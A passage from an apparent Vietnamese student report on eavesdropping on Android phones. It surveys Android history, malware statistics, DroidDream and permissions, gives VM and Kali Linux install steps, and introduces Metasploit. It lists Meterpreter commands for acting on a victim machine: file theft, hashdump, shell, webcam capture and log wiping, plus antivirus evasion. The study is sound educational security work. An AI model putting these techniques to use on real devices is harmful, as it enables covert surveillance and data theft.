lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích
của người dùng". Mặc dù các nhân viên đều là những người có tiếng tăm nhưng công
ty sau khi thành lập lại hoạt động một cách âm thầm mà chỉ tiết lộ rằng họ đang làm
phần mềm cho điện thoại di động. Không lâu sau đó (cùng trong năm 2003) công ty
lâm vào tình trạng cạn kiệt tài chính.
Page 19
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
20
Infographic Lịch sử phát triển Android
Page 20
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
21
Page 21
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
22
Ngày 17 tháng 8 năm 2005, Google mua lại Tổng công ty Android biến nó thành
một bộ phận trực thuộc của mình đồng thời giữ cũng giữ lại các nhân viên chủ chốt gồm
Rubin, Miner và While. Hành động này dẫn đến nhiều tin đồn cho rằng Google dự tính
tham gia vào thị trường điện thoại di động. Tại Google, nhóm do Rubin đứng đầu đã
phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux được Google
quảng bá đến các nhà sản xuất điện thoại di động như là một hệ thống uyển chuyển và
có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối
tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác
nhau.
Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset
Alliance), một hiệp hội bao gồm nhiều công ty với cả những gã khổng lồ như Texas
Instruments, Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn Marvell
Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-
Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động.
Cùng ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh,
một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện
thoại chạy Android đầu tiên được bán ra là HTC G1, phát hành ngày 22 tháng 10 năm
2008. Biểu trưng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do
hãng thiết kế Irina Blok tại California vẽ.
Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều
hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi
bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn
tráng miệng; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối
bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất hiện nay là Android 4.4 và
Android L (dành cho nhà phát triển) được phát hành vào năm 2014.
1.8 Sự ra mắt của các phiên bản Android
Android alpha: là phiên bản nội bộ trong Google và OHA được nghiên cứu và phát
triển trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro Boy",
"Bender" và "R2-D2".
Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó bộ phát
triển phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.
Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào ngày
22 tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được bán ra ở
Mỹ. Đến ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản thương mại
của phần mềm.
Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là bản cập
nhật đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một số tính năng.
Page 22
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
23
Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và Android 1.6
(API mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật bao gồm một số
tính năng mới và sử đổi giao diện người dùng UI.
Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức độ 9,
2.3.3-2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2 năm 2011 với
nhiều tính năng mới được thêm vào, thay đổi giao diện người dùng cũng như nâng cao
khả năng bảo mật.
Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5 đến
tháng 7 năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy tính bảng.
Mặc dù không để lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên bản này là nền
tảng cho Android 4.0.
Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12 năm
2011 và tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển của
Android với nhiều cải tiến về mặt công nghệ cung như tính năng. Đặc biệt phiên bản
này là sự hợp nhất cho hệ điều hành smartphone và máy tính bảng.
Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho nhà phát
triển.
Theo sự kiên GOOGLE I/O năm 2013 đã thống kê rằng thị phần của hai nền tảng
Android 2.3 va Android 4.x vẫn được ưa chuộng nhất (38.5% và 33.0%).
Page 23
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
24
2. Nghe lén trên Android
2.1 Định nghĩa
Nghe lén trên android là công việc xâm nhập vào điện thoại chạy hệ điều
hành android và tìm cách đánh cấp thông tin cá nhân, danh bạ, tài khoản, file,
ghi âm cuộc gọi, xem tin nhắn, mail, vị trí… mà người dùng không hay biết.
Công việc này được thực hiện bằng cách cài đặt mã độc hay malware vào
máy victim.
+ Mã độc được tạo bằng cách sử dụng các tools có sẵn như metasploit hay
tự viết.
+ Malware là phần mềm nhưng được cài mã độc vào trong đó. Malware có
thể có thể có sẵn trong phần mềm hoặc được bên thứ 3 cài vào; iCalender,
iMatch.
2.2 Mã độc trong môi trường Android:
2.2.1 Android là một môi trường lý tưởng cho mã độc phát triển.
Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng
các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.
Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và
máy tính bảng.
Android là một hệ điều hành mã nguồn mở.
2.2.2 Phân loại mã độc Android.
Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt động lây
nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai mã độc
làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu
của mã độc để chia ra làm 9 họ:
Đánh cấp thông tin cá nhân 51,3%
Gửi tin nhắn trái phép (IMEL,..) 30,1%
Botnet(spam, thư rác,..) 23,5%
Truy cập Root 18,3%
Tải từ Google-Play 11,3%
Cài đặt các ứng dụng khác 10,4%
Đánh cấp định vị của người dùng 8,7%
Page 24
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
25
Cài đặt các ứng dụng hỗ trợ hacker 7,8%
Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5%
2.3 Thực trạng
Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav,
chỉ trong năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav Mobile Security
đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của cả năm 2013.
Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi tin nhắn SMS đến đầu
số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn, tính ra mỗi ngày người sử
dụng VN bị “móc túi” số tiền khổng lồ lên tới hơn 3,9 tỉ đồng”, báo cáo của Bkav kết luận.
Thực tế, số tiền các loại virút “móc túi” người dùng smartphone có thể hơn gấp nhiều lần
vì có rất nhiều điện thoại bị nhiễm virút trong một thời gian dài nhưng chủ nhân không
nhận biết và cũng không có biện pháp kiểm tra, theo dõi.
Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc
trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã
độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền tảng
Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di động của
Google vừa được hãng bảo mật Kaspersky Lab công bố.
Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ
yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ
những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn
cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được
cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc mới được phát
tán trên Android trong quý I năm 2013.
Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số
lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013,
Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng
số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh
hưởng nặng nhất.
Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các
loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực
bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc,
đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện
cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.
Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật
trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu dựa
vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có chứa
Page 25
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
26
mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như
Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của
hacker.
Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng
khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là
1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát
tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).
2.4 Malware – tiêu biểu của trên Android.
Đã không còn chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và
đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là Android.
Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần
mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà
người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính,
nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng,
bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng không đáng kể.
Tuy nhiên giờ đây khi smartphone đang ngày càng phát triển và phổ biến dần thay thế
máy tính từ các công việc soạn thảo văn bản, giải trí đến giao dịch ngân hàng thì nó trở
thành mục tiêu tấn công của Malware.
Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay
mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có
cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách
thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch
vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao tác xác nhận... thông
qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi bạn thực hiện giao dịch
với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực hiện trên máy bạn, tắt một
số dịch vụ để dễ kiểm soát.
2.4.1 Cơ chế hoạt động của Malware.
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là
Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:
Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng
chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào
thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.
Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho
phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông
tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi
DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một
Page 26
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
27
ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc
cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các
ứng dụng mà không được phép.
Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu
việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm,
checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là
Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào
khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà
điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn
hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình.
2.4.1.1 Mục đích của Malware DroidDream
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục
đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của
người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể
của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như
Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không cần sự cho
phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách
chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo,
Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân
hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các
ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu
thập bởi các malware này.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện
thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị
một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa
đến an sự an toàn của người dùng hệ điều hành này.
2.5 Cơ chế bảo mật trong Android
2.5.1 Tính bảo mật trong Android
Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.
Các ứng dụng android được phân biệt bởi system ID.
Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.
Bảo mật trong android được thể hiện qua cơ chế “Permission”
2.5.2 Cơ chế Permission:
Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và
người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin
Page 27
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
28
nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác
người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài nguyên này sẽ
được thông báo đến người dùng trước khi cài đặt ứng dụng.
2.5.3 Google Play:
Kiểm soát việc đăng và quản lí quyền trên các ứng dụng. Ngăn chặn mã độc .
3. Cài đặt Android trên máy ảo
3.1 Chuẩn bị
Tải và cài VM Virtualbox hoặc Vmware.
Tải file máy ảo virtualbox(file ova) và phần mềm AndroVMplayer tại địa chỉ sau
http://androvm.org/blog/download/
Chọn phiên bản phù hợp với hệ điều hành :
3.2 Tiến hành cài đặt
Bước 1: tiến hành import máy ảo
Tiến hành giải nén file ova, click vào file có đuôi .ovf
Hình 1. File máy ảo virtualbox
Hình 2
Page 28
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
29
Chọn “Import” và chờ quá trình import hoàn thành
Ta có được máy ảo sau
Page 29
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
30
Chọn card bridged cho máy ảo để có thể kết nối ra ngoài.
Bước 2: tiến hành thiết lập máy ảo:
Sau khi chạy thử máy ảo và hoàn thành các thiết lập ban đầu của HDH
Android, ta được giao diện sau:
Vào AndroidVM Configulation trên android, tick vào ô “Hardware
OPENGL”, sau đó khởi động lại máy ảo. (Bước này giúp máy ảo android
chạy và có độ phản hồi nhanh hơn).
Page 30
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
31
Bước 3 : chạy máy ảo.
Chạy máy ảo trên viltualbox, ghi lại địa chỉ IP
Khởi động phần mềm AndroiVMplayer, nhập IP vừa ghi lại được và nhấp
“Run”
Page 31
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
32
Bước 4: hoàn thành
Page 32
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
33
4. Nghiên cứu Kali Linux, sử dụng metasploit tạo mã độc trên
Kali Linux để xâm nhập vào máy Android
4.1 Tổng quan Kali Linux
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để
kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux
là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng
sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã
công bố phiên bản mới của BackTrack có thên là Kali Linux (được xem như phiên bản
BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà
bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác nghiệp.
4.2 Cải tiến của Kali Linux so với Backtrack.
Kali phát triển trên nền tảng hệ điều hành Debian
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu
trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có
được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập
nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan
trọng.
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói
của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu
trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem
xét hoặc thay đổi mã nguồn của các công cụ.
Tính tương thích kiến trúc
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến
trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta
có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.
Hỗ trợ mạng không dây tốt hơn
Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính
là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay
USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá
mạng không dây.
Khả năng tùy biến cao
Page 33
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
34
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối
với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như
GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.
Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều
hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta
đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã
dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không
phải cài lại mới hoàn toàn nữa
4.3 Cài đặt Kali Linux
4.3.1 Chuẩn bị
File iso Kali Linux: http://www.kali.org/downloads/
Máy có cài sẵn Vmware.
4.3.2 Cài đặt.
Đầu tiên ta cần download Kali Linux tại link sau http://www.kali.org/downloads/.
Chọn phiên bản phù hợp tiến hành download. Ở đây chọn phiên bản dành cho
windowns 32 bit download bằng link trực tiếp. Sau khi có file iso ta tiến hành cài đặt
Kali Linux trên máy ảo.
Page 34
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
35
Khởi động VMwarre, ở góc phải trên màn hình chọn File -> New Virtual
Machine....
Hình 32. Chon phương thức cái đặt.
Chọn Typical, nhấn Next để tiếp tục.
Hình 33. Tìm đường dẫn đến file iso Kali Linux.
Page 35
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
36
Chọn Installer disc image file, nhấn Browse… tìm đường dẫn đến file iso của
Kali Linux sau đó nhấn Next để tiếp tục.
Hình 34. Chọn dung lượng đĩa.
Thiết đặt dung lượng tối đa dùng để cài đặt Kali Linux sau đó chọn Next.
Hình 35. Xác nhận cài Đặt.
Page 36
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
37
Chọn Finish để xác nhận tiến hành cài đặt.
Hình 36. Cài đặt Kali Linux.
Tại đây ta chọn Graphical install => Enter để tiến hành cài đặt trực quan bằng
giao diện.
Hình 37. Chọn Ngôn Ngữ.
Tiến hành chọn lựa ngôn ngữ (ở đây chọn English), nhấn continue.
Page 37
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
38
Hình 38. Chọn khu vực.
Lựa chọn khu vực ta chọn other => Continue.
Hình 39. Khu vực Asia.
Tiếp tục chọn khu vực là Asia => Continue.
Page 38
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
39
Hình 40. Chọn quốc gia Viet Nam.
Chọn quốc gia là Viet Nam => Continue.
Hình 41. Chọn bảng mã.
Page 39
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
40
Chọn bảng mã là United States – en_US.UTF. Bảng mã này gồm đầy đủ các ký
tự Latinh đồng thời hỗ trợ Tiếng Việt. Nhấn Continue để tiếp tục.
Hình 42. Chọn kiểu bàn phím.
Chọn kiểu bàn phím Ameican English => Continue.
Hình 43. Đặt Hostname.
Page 40
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
41
Tiếp theo là thiết đặt mạng. Đặt tên Hostname là bắt buộc. Ta có thể đặt tên bất
kỳ nhưng không thể có khoảng trắng. Nhấn Continue để tiếp tục.
Hình 44. Đặt Domain name.
Có thể bỏ trống Domain name => Continue.
Hình 45. Đặt root password.
Page 41
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
42
Điền hai lần Root password giống nhau (nhớ password đã đặt để sau này đăng
nhập) => Continue.
Hình 46. Tùy chọn ổ đĩa.
Tùy chọn ổ đĩa cài đặt. Ở đây ta chọn use entire disk -> continue.
Hình 47. Chọn ổ đĩa cài đặt.
Tiếp tục nhấn Continue.
Page 42
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
43
Hình 48. Phương thức cài đặt ổ đĩa.
Chọn All file in one partion => Continue.
Hình 49. Xác nhận thông số cài đặt.
Kiểm tra thiết đặt thông tin ổ đĩa. Nếu có sai sót chọn Go Back để sửa đổi. Chọn
Continue tiếp tục.
Page 43
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
44
Hình 50. Xác nhận định dạng ổ đĩa.
Chọn Yes để xác nhận thay đổi ổ đĩa => Continue để tiến trình bắt đầu copy file
và cài đặt Kali Linux.
Hình 51. Cài đặt bắt đầu.
Page 44
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
45
Hình 52. Tìm kiếm cập nhật qua internet.
Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua mạng.
Ta chọn No để nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong).
Hình 53. Xác nhận cài đặt GRUD.
Page 45
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
46
Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không. Ta
chọn Yes => Continue.
Hình 54. Xác nhận cài đặt thành công.
Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình sẽ
thực hiện xoa một số file dư thừa sau khi cài đặt rồi khởi động lại.
Hình 55. Đăng nhập Kali Linux.
Page 46
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
47
Sau khi khởi động xong ta nhập User là root va password được đặt ở trên để đăng
nhập. Như vậy là ta đã hoàn thành cài đặt xong Kali Linux.
4.4 Nghiên cứu về Metasploit
4.4.1 Giới thiệu Metasploit
Metasploit Framework là môi trường dùng để kiểm tra, tấn công và khai thác lỗi
của của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với
những components được viết bằng C, assembler và Python. Metasploit có thể chạy
trên hầu hết các hệ điều hành Windows, Linux, MacOS.
4.4.2 Các thành phần của Metasploit
+ Cosole interface : dùng msfconsole.bat . Msfconsole interface sử dụng được các
dòng lệnh cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.
+ Web interface : dùng msfweb.bat giao tiếp với người dùng thông qua giao diện
web.
+ Command line interface : dùng msfcli.bat .
+ Môi trường :
Global Enviroment : được thực thi thông qua 2 câu lệnh setg và unsetg, những
options này được gán ở đây sẽ mang tính toàn cục, được đưa tất cả vào trong
module exploits.
Temporary Enviroment : được thực thi thông qua 2 câu lệnh set và unset,
enviroment này chỉ được đưa vào module exploits hiện tại và không ảnh hưởng
đến các modul exploits khác.
Chúng ta có thể lưu lại enviroment đã cấu hình thông qua lệnh save. Môi
trường đó sẽ được lưu lại trong /.msfconfig và sẽ được load trở lại khi user
interface được thực hiện.
Những options nào chung giữa giữa các exploits module : LPORT, LHOST,
PAYLOAD thì chúng ta sẽ xác định ở Global Enviroment.
4.4.3 Sử dụng Metasploit framework
1. Chọn module exploit : lựa chọn chương trình, lỗi mà Metasploit có hỗ trợ để khai
thác.
+ Show exploits : xem các module mà exploit mà framework hỗ trợ.
+ Use exploit_name : chọn exploit name.
+ Info exploit_name : xem thông tin về module exploit.
2. Cấu hình module exploit đã chọn.
+ Show options : xác định những options nòa cần cấu hình.
Page 47
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
48
+ Set : cấu hình cho những options của những module đó.
3. Verify những options vừa cấu hình.
+ Check : Kiểm tra những options đã được cấu hình chính xác chưa.
4. Lựa chọn target : lựa chọn hệ điều hành nào để tiến hành.
+ Show target : những target được cung cấp bởi module đó.
+ Set : xác định target nào.
5. Lựa chọn payload
+ Payload là đoạn mã code sẽ chạy trên hệ thống remote machine.
+ Show payloads : liệt kê ra những payload của module exploit hiện tại.
+ Info payload_name : xem thông tin chi tiết về payload đó.
+ Set payload payload_name : xác định tên của payload module. Sau khi chọn
payload nào ta dùng lệnh show
options để xem options của payload đó.
+ Show advanced : xem những advanced options của payload.
6. Thực thi exploit
+ Exploit : lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn
những thông tin cần thiết.
4.4.4 Payload meterpreter
Meterpreter là viết tắt của meta-Interpreter là một advanced payload có trong
Metasploit framework. Mục đích của nó là để cung cấp những tập lệnh để khai thác
tấn công các remote computer. Nó được viết từ các developer dưới dạng shared
project (.DLL) files. Meterpeter và các thành phần mở rộng được inject vào trong bộ
nhớ RAM, hoàn toàn không được ghi lên đĩa nên có thể tr|nh được sự phát hiện từ các
phần mềm chống virus.
Tập lệnh trong meterpreter:
help: ............................. Hiển thị menu giúp đỡ.
Background: ............. đưa về msf promt và meterpreter được chạy nền.
cat: ................................ Hiển thị nội dung của một file.
cd & pwd: .................. chuyển đổi các thư mục hiện hành tại máy victim.
clearev: ........................ xóa toàn bộ log của Application, System and Security trên
hệ điều hành Windows.
Page 48
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
49
download: ................. tiến hành download một file từ victim về máy. Sử dụng “\\”
khi thao tác với các đường dẫn.
edit: ............................... edit một file ở máy victim. Sử dụng trình soạn thảo vim để
edit.
execute: ...................... chạy một lệnh trên máy victim.
getuid .......................... hiển thị thong tin user hiện tại meterpreter đang làm việc
trên máy victim.
hashdump ................. xem nội dung của SAM database.
idletime ...................... hiển thị thời gian mà người dung ở máy victim đã không hoạt
động.
ipconfig ...................... hiển thị các interface và các địa chỉ IP ở máy victim.
lpwd & lcd ................. thay đổi thư mục hiện hành tại máy local.
ls .................................... hiển thị danh sách các file trong thư mục hiện hành ở máy
victim.
migrate ....................... đính meterpreter vào một process khác đang hoạt động ở
máy victim.
ps .................................. hiển thị các process đang hoạt động ở máy victim
resource ..................... chạy các lệnh meterpreter được định nghĩa trong một text file
search .......................... tìm kiếm file trên máy victim
shell ............................. tiến hành thao tác với shell của máy victim
upload ......................... upload một file từ local lên máy vicim. Sử dụng “\\” khi thao
tác với các đường dẫn trên.
webcam_list ............. hiển thị danh sách các webcam có thể sử dụng ở máy victim
webcam_snap .......... chụp ảnh bằng webcam ở máy victim.
Ở đề tài nhóm chủ yếu tập trung vào khai thác bằng payload này.
